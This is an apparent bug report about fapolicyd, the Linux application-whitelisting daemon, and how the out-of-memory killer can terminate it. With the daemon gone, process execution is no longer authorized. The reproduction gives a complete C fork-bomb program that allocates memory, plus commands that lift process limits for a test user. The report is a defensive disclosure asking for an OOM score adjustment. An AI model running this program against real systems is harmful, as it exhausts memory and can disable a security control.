Description of problem:

The fapolicyd is a security relevant daemon which authorizes execution of processes on a system. When it gets killed, the authorization suddenly is not available and anything is allowed to get executed.

The out-of-memory killer in the kernel can easily kill the fapolicyd for example when unauthorized process creates many small processes, which causes the OOM algorithm to see fapolicyd as the best candidate to be killed, instead of aiming at some of those unprivileged processes.

Version-Release number of selected component (if applicable):

fapolicyd-1.1-103.el9_0.x86_64

How reproducible:

Non deterministic but it is possible to get system to such state.

Steps to Reproduce:
1. Have machine with say 2.5 GB of memory.
2. Disable swap to put more pressure on the memory: swapoff -a
3. Set permissive = 1 in /etc/fapolicyd/fapolicyd.conf so that we can run that custom forking bomb to demonstrate the problem.
4. systemctl start fapolicyd
5. In /etc/security/limits.conf add

test		soft nproc	unlimited
test		hard nproc	unlimited
test		soft sigpending	unlimited
test		hard sigpending	unlimited

6. Compile program

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/mman.h>

void alloc_memory(int len)
{
    void *ret = mmap(0, len, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if (ret == MAP_FAILED) {
        perror("mmap");
        return;
    }
    memset(ret, 'x', len);
}

int main(int argc, char **argv)
{
    if (argc < 3) {
        fprintf(stderr, "usage: %s <bytes> <processes>\n", argv[0]);
        return 1;
    }

    int bytes = atoi(argv[1]);
    int procs = atoi(argv[2]);

    while (procs-- > 0) {
        switch (fork()) {
            case -1:
                perror("first fork");
                return 1;
            case 0:
                switch (fork()) {
                    case -1:
                        perror("second fork");
                        return 1;
                    case 0:
                        alloc_memory(bytes);
                        sleep(1000);
                        return 0;
                    default:
                        return 0;
                }
            default:
                break;
        }
        sched_yield();  // be somewhat inconspicuous
    }
}

// Thanks to Jiří Jabůrek.

7. Log in as the user test.
8. As root, increase the maximum number of processes for the session, something like

   echo 1000000 > /sys/fs/cgroup/user.slice/user-1000.slice/pids.max

   On my system that value is 7039 by default and I did not find a way to increase it before the user logs in.

9. Run the testing program as user test with some reasonable parameters. On my system, running it a couple of times as

   ./test-alloc 10 10000

   will eventually exhaust the memory. You can also use

   systemctl status $$

   to see the memory used, and to poke the system in other ways as well.
   Eventually the system will get slow, OOM killer will kick in, and if sshd won't get killed, you will be able to check the journal.
10. As root, run journalctl -l | grep kill

Actual results:

Jun 15 16:56:00 machine.example.com kernel: oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=/,mems_allowed=0,global_oom,task_memcg=/system.slice/fapolicyd.service,task=fapolicyd,pid=14931,uid=990
Jun 15 16:56:00 machine.example.com kernel: Out of memory: Killed process 14931 (fapolicyd) total-vm:166680kB, anon-rss:27324kB, file-rss:0kB, shmem-rss:0kB, UID:990 pgtables:156kB oom_score_adj:0

Expected results:

fapolicyd is a security and authorization relevant service, it should set its OOMScoreAdjust to avoid being killed before the unprivileged processes.

Additional info:

Upstream already seems to have the change in 

https://github.com/linux-application-whitelisting/fapolicyd/commit/42661aafe4efe882fbd4532ce6fa9c396f548e92

but it seems to go in the opposite direction -- the value should really be -900 or something similar.